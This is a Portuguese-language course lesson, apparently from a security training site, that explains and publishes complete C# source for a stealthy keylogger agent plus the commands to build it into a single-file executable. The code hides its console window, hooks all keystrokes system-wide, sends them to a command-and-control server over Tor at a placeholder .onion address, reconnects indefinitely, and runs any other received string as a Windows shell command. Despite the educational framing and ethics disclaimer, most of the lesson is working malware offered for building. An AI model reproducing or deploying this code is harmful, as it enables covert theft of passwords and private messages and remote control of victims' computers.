Aula 137 | Keylogger

Aula 137 | Keylogger

Nesta aula do curso Jaguar, exploramos profundamente a arquitetura de um keylogger profissional uma ferramenta comumente usada em ciberataques, mas também essencial no estudo de segurança ofensiva e engenharia reversa. A proposta da aula é desmistificar o funcionamento prático de um keylogger moderno, desde a captura de teclas no Windows até a comunicação com um servidor remoto oculto via rede Tor.

O que é um Keylogger e por que ele é tão perigoso?

Um keylogger é um software capaz de interceptar e registrar todas as teclas digitadas por um usuário. Ele pode ser utilizado para capturar credenciais, mensagens, comandos e qualquer outra entrada feita pelo teclado. Essa técnica, quando aplicada de forma maliciosa, permite que invasores tenham acesso completo a informações sensíveis como senhas bancárias, logins de e-mail, dados corporativos ou mensagens pessoais.

Por ser invisível para o usuário comum e, quando bem implementado, também difícil de detectar por ferramentas de segurança, o keylogger é uma das armas favoritas em ataques de espionagem digital e fraudes avançadas.

Estrutura Técnica de um Keylogger em Três Camadas

Para entender a profundidade dessa ameaça, a aula separa a captura de teclas em três níveis distintos no sistema operacional Windows:

Userland Level
Kernel Level
Hardware/Firmware Level
  1. Userland (espaço do usuário)
    Utiliza APIs públicas do sistema, como a famosa user32.dll, para interceptar as teclas digitadas através da função SetWindowsHookEx. É a abordagem escolhida para este módulo, por ser mais acessível e menos intrusiva, mas ainda assim altamente eficaz.

  2. Kernel Level (nível do núcleo do sistema)
    Atua com drivers em modo kernel, o que permite um controle mais profundo e invisível. Porém, exige drivers assinados digitalmente e acesso privilegiado, tornando essa abordagem mais complexa e restrita.

  3. Hardware/Firmware Level
    Nesse nível, o ataque é feito diretamente sobre o hardware ou firmware do teclado, possibilitando interceptações antes mesmo do sistema operacional. Embora extremamente difícil de detectar, é também muito mais difícil de implementar.

Como o nosso Keylogger funciona

O keylogger desenvolvido nesta aula tem três etapas principais:

  1. Interceptação de teclas
    Utilizando a API SetWindowsHookEx, o agente malicioso captura todas as teclas digitadas no sistema, armazenando os dados em um buffer temporário.

  2. Armazenamento e organização
    As teclas capturadas são organizadas em memória de forma estruturada, facilitando o envio e futura análise no servidor.

  3. Envio via Tor para um servidor C2
    A comunicação com o servidor de controle (C2) é feita através da rede Tor, garantindo anonimato e criptografia ponta a ponta. Esse canal oculto impede que a vítima ou um analista forense identifique facilmente a origem da ameaça.

Controle remoto e modularidade: o diferencial do agente

Ao contrário de um malware comum que executa ações automaticamente, o agente apresentado é controlado por comandos remotos enviados por um operador. Ele aguarda instruções via protocolo personalizado baseado em strings. Por exemplo:

  • Envio do comando netcatestkeylogger ativa a função de captura de teclas.

  • Envio do comando sair desativa a funcionalidade.

  • Outros comandos como netcattestscan, uploadfile, ou screenshot podem ser programados modularmente.

Essa estrutura permite que o agente permaneça completamente invisível até receber uma ordem o que reduz drasticamente a chance de ser detectado por comportamento anômalo. Ele não interage com o sistema nem consome recursos visivelmente até que o operador atue.

Site para Testar:

KEY1

KEY2

KEY3

Análise detalhada do código do Agent (Keylogger + C2 via Tor)

A seguir vamos dissecar, passo a passo, o código C# que implementa o agente apresentado na aula. A ideia é mostrar a função de cada bloco, boas (e más) práticas embutidas e o porquê de determinadas escolhas de arquitetura.

1. Importações e interoperação com APIs nativas

Logo no topo vemos using System; … System.Windows.Forms;. Além das bibliotecas padrão, o programa depende fortemente de P/Invoke (Platform Invocation Services) para chamar funções da user32.dll e kernel32.dll.
Essas importações nativas habilitam quatro pilares do agente:

P/Invoke Função no agente Por que é crítico?
GetConsoleWindow / ShowWindow Ocultar a janela do console (stealth) Evita alertar o usuário de que algo está em execução.
SetWindowsHookEx / CallNextHookEx / UnhookWindowsHookEx Registrar, encadear e remover o hook de teclado em nível userland É o mecanismo real de captura de teclas.
GetModuleHandle Recuperar ponteiro de módulo para registrar o hook Necessário para SetWindowsHookEx em processos .NET.
GetAsyncKeyState Verificar Shift e CapsLock em tempo real Permite converter virtual key codes em caracteres corretos (maiúsculas, símbolos, etc.).

2. Constantes de rede e controle

private const string TorProxyAddress = "127.0.0.1";
private const int    TorProxyPort    = 9050;
private const string OnionHost       = "…onion";
private const int    OnionPort       = 4444;
private const int    ReconnectDelay  = 15000;
  • Tudo é roteado por SOCKS5 no Tor local (default 9050).

  • O endereço .onion e a porta 4444 são o ponto C2 oculto.

  • ReconnectDelay implementa um back-off simples de 15 s para não “martelar” o proxy caso a conexão caia.

3. Delegados e variáveis globais

private delegate IntPtr LowLevelKeyboardProc(…);
private static readonly LowLevelKeyboardProc proc;
private static volatile bool isKeylogging;
private static Thread keyloggerThread;
private static StringBuilder keyBuffer = new StringBuilder();
  • proc é inicializado no static constructor para manter o delegate vivo no GC.

  • isKeylogging com volatile evita problemas de sincronização entre threads.

  • keyBuffer acumula digitos até que regras de flush disparem envio ao C2.

4. Método Start() – laço principal de comunicação

while (true) {
    try {
        TcpClient client = new TcpClient();
        client.Connect(TorProxyAddress, TorProxyPort);   // ► túnel Tor
        PerformSocksHandshake(stream);                  // ► 3-way SOCKS5
        HandleCommunication(stream);                    // ► loop de comando
    } catch { /* silencia erros para persistir */ }
    Thread.Sleep(ReconnectDelay);
}
  • O programa é persistente: falhou, espera, tenta de novo.

  • Toda exceção é engolida para evitar travamentos e logs visíveis.

  • Destaque para PerformSocksHandshake: constrói o request SOCKS5 tipo 0x03 (domínio) para o hostname .onion.

5. Protocolo de comando no método HandleCommunication

O agente lê reader.ReadLine() em loop e reage:

Comando recebido Ação
netcatestkeylogger Inicia keylogger em thread STA, resposta “Keylogger ativado.”
sair Para captura, resposta “Keylogger desativado.”
Qualquer outro Interpretado como comando CMD Windows; saída é capturada e devolvida ao C2.

Modularidade – Em vez de hard-codear inúmeras funções, o agente só carrega módulos (keylogger, scanner, screenshot) quando solicitado, minimizando IOCs e uso de CPU até o operador agir.

6. Ciclo de vida do Keylogger

  1. StartKeylogger()

    • Registra o hook global WH_KEYBOARD_LL.

    • Liga um timer que chama FlushKeyBuffer() a cada 5 s.

    • Permanece em loop Application.DoEvents() (necessário para hooks low-level em STA) até que isKeylogging vire false.

  2. HookCallback()

    • Filtra apenas mensagens WM_KEYDOWN.

    • Traduz vkCode → caractere (considerando Shift/Caps).

    • Estratégia de buffer:

      • Letras/números comuns → acumula em keyBuffer.

      • Espaço, Enter, Tab ou teclas especiais ([]) → faz flush imediato para manter legibilidade do log.

      • Backspace (0x08) remove último caractere do buffer.

  3. Envio ao C2

    • c2Writer.Write() dispara o texto já convertido.

    • Uso de lock (writerLock) garante que buffer e socket não se corrompam em race conditions.

7. Conversão de códigos de tecla

O método ConvertKeyCodeToString cobre:

  • Letras A-Z – calcula maiúscula/minúscula via XOR Shift ⊕ CapsLock

  • Números 0-9 – mapeia símbolos ) ! @ # … quando Shift está pressionado

  • NumPad – converte 0-9, * + - . /

  • Pontuação – faz switch extenso para ; , . - _ … etc.

Isso garante que o log final seja legível, algo essencial em operações reais de espionagem.

8. Stealth adicional

A chamada inicial:

var handle = GetConsoleWindow();
ShowWindow(handle, SW_HIDE);

esconde a janela do console logo antes de entrar no loop Start(). Assim o processo parece apenas mais um executável sem interface rodando em segundo plano.

9. Pontos fortes e fracos da implementação

Aspecto Pontos fortes Pontos fracos / riscos
Stealth Oculta console, somente ativa módulos sob comando Ainda deixa pegadas em AppData\Local\Temp (DLL do .NET), Event Logs e tráfego Tor local.
Persistência Loop reconecta indefinidamente Não há persistence no boot (registro, agendador).
Segurança C2 Tráfego cifrado + onion → difícil atribuir Dependência do Tor local: se serviço Tor parar, agente morre.
Desempenho Hooks low-level leves, timer 5 s Application.DoEvents() em thread separada pode aumentar CPU em loops longos.
Detecção Pouca atividade até receber comando A assinatura do hook ainda pode ser flagrada por EDRs focados em SetWindowsHookEx.

10. Conclusão desta seção

Esse desmonte do código mostra como poucos centenas de linhas em C# já conseguem:

  1. Interagir nativamente com o subsistema Win32 para capturar entradas.

  2. Manter comunicação sigilosa via Tor, inclusive reconexão resiliente.

  3. Operar modularmente, reduzindo ruído e atrasando a detecção.

Entender esses detalhes é crucial para quem desenvolve ferramentas de defesa, cria assinaturas de EDR ou realiza análise forense. No próximo segmento da aula/blog vamos:

  • Demonstrar técnicas de detecção heurística desse agente.

  • Sugerir contramedidas (hardening no SO, políticas de Least Privilege, monitoramento de portas Tor e hooks).

  • Debater aspectos éticos e legais do uso de tais ferramentas em ambientes de teste versus cenários reais.

Aviso ético: todo o conteúdo tem fins exclusivamente educacionais. Utilizar esse tipo de código fora de ambientes controlados e com autorização explícita constitui crime em várias jurisdições.

.NET:

https://dotnet.microsoft.com/en-us/download

Código:

mkdir AgentTor
cd AgentTor
dotnet new winforms -n AgentTor
cd AgentTor

Código AgentTor.csproj:

<Project Sdk="Microsoft.NET.Sdk.WindowsDesktop">

  <PropertyGroup>
    <OutputType>WinExe</OutputType>
    <TargetFramework>net9.0-windows</TargetFramework>
    <UseWindowsForms>true</UseWindowsForms>
    <RuntimeIdentifier>win-x64</RuntimeIdentifier>
    <PublishSingleFile>true</PublishSingleFile>
    <SelfContained>true</SelfContained>
    <ImplicitUsings>enable</ImplicitUsings>
  </PropertyGroup>

</Project>

Código Program.cs:

using System;
using System.IO;
using System.Net.Sockets;
using System.Text;
using System.Threading;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;

public class Agent
{
    [DllImport("kernel32.dll")]
    static extern IntPtr GetConsoleWindow();

    [DllImport("user32.dll")]
    static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool UnhookWindowsHookEx(IntPtr hhk);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr GetModuleHandle(string lpModuleName);

    private const string TorProxyAddress = "127.0.0.1";
    private const int TorProxyPort = 9050;
    private const string OnionHost = "dominio.onion";
    private const int OnionPort = 4444;
    private const int ReconnectDelay = 15000;
    const int SW_HIDE = 0;
    private const int WH_KEYBOARD_LL = 13;
    private const int WM_KEYDOWN = 0x0100;

    private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
    private static readonly LowLevelKeyboardProc proc;
    private static volatile bool isKeylogging = false;
    private static Thread keyloggerThread;
    private static IntPtr hookID = IntPtr.Zero;
    private static StreamWriter c2Writer;
    private static readonly object writerLock = new object();
    private static readonly StringBuilder keyBuffer = new StringBuilder();

    static Agent()
    {
        proc = HookCallback;
    }

    public void Start()
    {
        while (true)
        {
            try
            {
                using (var client = new TcpClient())
                {
                    client.Connect(TorProxyAddress, TorProxyPort);
                    using (var stream = client.GetStream())
                    {
                        PerformSocksHandshake(stream);
                        HandleCommunication(stream);
                    }
                }
            }
            catch { }
            Thread.Sleep(ReconnectDelay);
        }
    }

    private void PerformSocksHandshake(NetworkStream stream)
    {
        stream.Write(new byte[] { 0x05, 0x01, 0x00 }, 0, 3);
        var authResponse = new byte[2];
        stream.Read(authResponse, 0, authResponse.Length);
        if (authResponse[1] != 0x00) throw new Exception("SOCKS auth failed");
        var hostBytes = Encoding.ASCII.GetBytes(OnionHost);
        byte[] request = new byte[7 + hostBytes.Length];
        request[0] = 0x05;
        request[1] = 0x01;
        request[2] = 0x00;
        request[3] = 0x03;
        request[4] = (byte)hostBytes.Length;
        Buffer.BlockCopy(hostBytes, 0, request, 5, hostBytes.Length);
        request[request.Length - 2] = (byte)(OnionPort >> 8);
        request[request.Length - 1] = (byte)(OnionPort & 0xFF);
        stream.Write(request, 0, request.Length);
        var connectResponse = new byte[10];
        stream.Read(connectResponse, 0, connectResponse.Length);
        if (connectResponse[1] != 0x00) throw new Exception("SOCKS connection failed");
    }

    private void HandleCommunication(NetworkStream stream)
    {
        try
        {
            using (var reader = new StreamReader(stream))
            using (var writer = new StreamWriter(stream) { AutoFlush = true })
            {
                c2Writer = writer;
                while (true)
                {
                    var command = reader.ReadLine();
                    if (string.IsNullOrEmpty(command)) break;

                    if (command.Trim().Equals("netcattestkeylogger", StringComparison.OrdinalIgnoreCase) && !isKeylogging)
                    {
                        isKeylogging = true;
                        keyloggerThread = new Thread(StartKeylogger) { IsBackground = true };
                        keyloggerThread.SetApartmentState(ApartmentState.STA);
                        keyloggerThread.Start();
                        writer.WriteLine("Keylogger ativado.");
                    }
                    else if (command.Trim().Equals("sair", StringComparison.OrdinalIgnoreCase) && isKeylogging)
                    {
                        isKeylogging = false;
                        writer.WriteLine("\nKeylogger desativado.");
                        writer.Write("C2> ");
                    }
                    else if (!isKeylogging)
                    {
                        string commandOutput = "";
                        try
                        {
                            var processStartInfo = new ProcessStartInfo("cmd.exe", "/c " + command)
                            {
                                RedirectStandardOutput = true,
                                RedirectStandardError = true,
                                UseShellExecute = false,
                                CreateNoWindow = true
                            };
                            using (var process = Process.Start(processStartInfo))
                            {
                                commandOutput = process.StandardOutput.ReadToEnd();
                                commandOutput += process.StandardError.ReadToEnd();
                                process.WaitForExit(10000);
                            }
                        }
                        catch (Exception e)
                        {
                            commandOutput = "Erro ao executar o comando: " + e.Message;
                        }
                        writer.WriteLine(commandOutput.Trim() + "\nC2> ");
                    }
                }
            }
        }
        finally
        {
            if (isKeylogging)
            {
                isKeylogging = false;
            }
            c2Writer = null;
        }
    }

    private static void StartKeylogger()
    {
        using (var bufferFlushTimer = new System.Threading.Timer(_ => FlushKeyBuffer(), null, 5000, 5000))
        {
            hookID = SetHook(proc);
            while (isKeylogging)
            {
                Application.DoEvents();
                Thread.Sleep(20);
            }
            UnhookWindowsHookEx(hookID);
            FlushKeyBuffer();
        }
    }

    private static void FlushKeyBuffer()
    {
        lock (writerLock)
        {
            if (keyBuffer.Length > 0 && c2Writer != null)
            {
                try
                {
                    c2Writer.Write(keyBuffer.ToString());
                    keyBuffer.Clear();
                }
                catch { }
            }
        }
    }

    private static void TryWriteToC2(string text)
    {
        if (c2Writer != null)
        {
            try
            {
                c2Writer.Write(text);
            }
            catch { }
        }
    }

    private static IntPtr SetHook(LowLevelKeyboardProc hookProc)
    {
        using (Process curProcess = Process.GetCurrentProcess())
        using (ProcessModule curModule = curProcess.MainModule)
        {
            return SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, GetModuleHandle(curModule.ModuleName), 0);
        }
    }

    private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
    {
        if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN && isKeylogging)
        {
            int vkCode = Marshal.ReadInt32(lParam);
            lock (writerLock)
            {
                if (vkCode == 0x08)
                {
                    if (keyBuffer.Length > 0)
                    {
                        keyBuffer.Remove(keyBuffer.Length - 1, 1);
                    }
                    return CallNextHookEx(hookID, nCode, wParam, lParam);
                }

                string keyString = ConvertKeyCodeToString(vkCode);

                if (vkCode == 0x20 || vkCode == 0x0D || vkCode == 0x09)
                {
                    FlushKeyBuffer();
                    TryWriteToC2(keyString);
                }
                else if (keyString.StartsWith("["))
                {
                    FlushKeyBuffer();
                    TryWriteToC2(keyString);
                }
                else if (!string.IsNullOrEmpty(keyString))
                {
                    keyBuffer.Append(keyString);
                }
            }
        }
        return CallNextHookEx(hookID, nCode, wParam, lParam);
    }

    private static string ConvertKeyCodeToString(int vkCode)
    {
        bool isShiftPressed = (GetAsyncKeyState(0x10) & 0x8000) != 0;
        bool isCapsLocked = (GetAsyncKeyState(0x14) & 1) != 0;
        bool isUpperCase = isShiftPressed ^ isCapsLocked;

        if (vkCode >= 0x41 && vkCode <= 0x5A)
        {
            return isUpperCase ? ((char)vkCode).ToString() : ((char)(vkCode + 32)).ToString();
        }
       
        if (vkCode >= 0x30 && vkCode <= 0x39)
        {
            if (isShiftPressed)
            {
                switch (vkCode)
                {
                    case 0x30: return ")";
                    case 0x31: return "!";
                    case 0x32: return "@";
                    case 0x33: return "#";
                    case 0x34: return "$";
                    case 0x35: return "%";
                    case 0x36: return "¨";
                    case 0x37: return "&";
                    case 0x38: return "*";
                    case 0x39: return "(";
                }
            }
            return ((char)vkCode).ToString();
        }

        switch (vkCode)
        {
            case 0x08: return "[BACKSPACE]";
            case 0x09: return "[TAB]";
            case 0x0D: return "[ENTER]\n";
            case 0x14: return "[CAPSLOCK]";
            case 0x1B: return "[ESC]";
            case 0x20: return " ";
            case 0x25: return "[LEFT]";
            case 0x26: return "[UP]";
            case 0x27: return "[RIGHT]";
            case 0x28: return "[DOWN]";
            case 0x2E: return "[DELETE]";
            case 0xBA: return isShiftPressed ? ":" : ";";
            case 0xBB: return isShiftPressed ? "+" : "=";
            case 0xBC: return isShiftPressed ? "<" : ",";
            case 0xBD: return isShiftPressed ? "_" : "-";
            case 0xBE: return isShiftPressed ? ">" : ".";
            case 0xBF: return isShiftPressed ? "?" : ";";
            case 0xC0: return isShiftPressed ? "~" : "`";
            case 0xDB: return isShiftPressed ? "{" : "[";
            case 0xDC: return isShiftPressed ? "|" : "\\";
            case 0xDD: return isShiftPressed ? "}" : "]";
            case 0xDE: return isShiftPressed ? "\"" : "'";
            case 0x60: return "0";
            case 0x61: return "1";
            case 0x62: return "2";
            case 0x63: return "3";
            case 0x64: return "4";
            case 0x65: return "5";
            case 0x66: return "6";
            case 0x67: return "7";
            case 0x68: return "8";
            case 0x69: return "9";
            case 0x6A: return "*";
            case 0x6B: return "+";
            case 0x6D: return "-";
            case 0x6E: return ".";
            case 0x6F: return "/";
            default: return "";
        }
    }
   
    [DllImport("user32.dll")]
    public static extern short GetAsyncKeyState(int vKey);

    public static void Main(string[] args)
    {
        var handle = GetConsoleWindow();
        ShowWindow(handle, SW_HIDE);
        Agent agent = new Agent();
        agent.Start();
    }
}

Código Build:

dotnet publish -c Release -r win-x64 --self-contained true -p:PublishSingleFile=true

 

Sugestões de Aulas

Aula 71 | RUDY "R U Dead Yet?"

Ver Aula

Aula 136 | Spoofing de E-mail

Ver Aula

Aula 25 | Cookies

Ver Aula